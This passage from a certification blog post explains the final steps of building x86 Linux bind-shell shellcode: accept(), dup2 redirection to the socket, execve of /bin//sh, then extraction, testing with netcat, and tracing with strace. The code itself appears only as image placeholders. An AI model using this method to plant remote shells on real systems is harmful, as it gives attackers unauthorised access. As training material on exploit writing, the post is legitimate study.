Finally, we need to accept connections and execute a /bind/sh upon incoming connection. In order to accomplish that, we will need to call the accept() function for the socket, but we will need to communicate with this shell via the socket. This can be done by redirecting the standard input, output and error descriptors of the spawned shell, to our socket. This is valid and characteristic of Unix operating systems, where everything is a file, or as Linus himself said “everything is a stream of bytes” (see http://yarchive.net/comp/linux/everything_is_file.html)

Let’s look at the accept man page:
a1p20

It takes the socket file descriptor, and two pointers that will store the details of the peer socket (effectively, the client’s port and ip address when it connects to us). These two pointers should be initialized to 0. Care should be taken here, to the fact, that accept() will return a new socket file descriptor (for the client socket), which we will need to use in the input/output/error redirection latter on.
a1p21

Here is the parameter diagram:
a1p22

The code for accept() can now be written:
a1p23

We are almost done. We need to do the standard input, output and error redirection to our socket and then finish off with the execve-stack code that will be executed upon connection. Remember that the socket file descriptor we will use, is the one from the previous accept() syscall. For the redirection the sys_dup2 syscall will be used.
a1p24

This is straightforward. We will pass only our socket file descriptor from the accept() call. This value is currently stored in EBX, as shown at the end of the accept() code segment above. Remember that the number representations for the 3 file descriptors are:
•    Standard input: 0
•    Standard output: 1
•    Standard error: 2
We can use a register initialized to 2 and loop until 0 in order to have less instructions in the shellcode. The system call number for dup2() is 63, 0x3F (in unistd_32.h)

a1p25

The following code accomplishes the duplication:
a1p26

The last part is the execve-stack code, which is presented below:
a1p27

We are now ready to compile our assembly code. Compile it, and check if there are any null bytes.
a1p28

Then extract the shellcode and paste it into the C file that will execute it.
For the extraction we can create a simple bash script which executes an objdump and applies some commandlinefu (http://www.commandlinefu.com/commands/view/12151/get-shellcode-of-the-binary-using-objdump, see comment by “arno”):
a1p29

Copy and paste the shellcode into shellcode.c. We will need to be able to change the listening port easily, so we will write it in a single line to ease identification.
a1p30
Compile and execute the code:
a1p31

On a new terminal, execute a netstat to see the listening ports:

a1p32

Our shellcode seems to be listening. We connect to the port using netcat and execute a command or two (commands entered shown with red arrows):

a1p33
Upon pressing Ctrl-C the program terminates and the socket is closed.

We can also see the various system calls of our shellcode, by running it under strace:
a1p34
First we have the socket call, which returns the file descriptor number 3. The bind and listen are successful (observe the file descriptor value in the parameters passed to them). Accept is also successful and returns back the file descriptor 4. This is used for the three dup calls, and finally the execve is executed for /bin//sh.


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student-ID: SLAE-645


 

, , ,

Leave a comment

Design a site like this with WordPress.com
Get started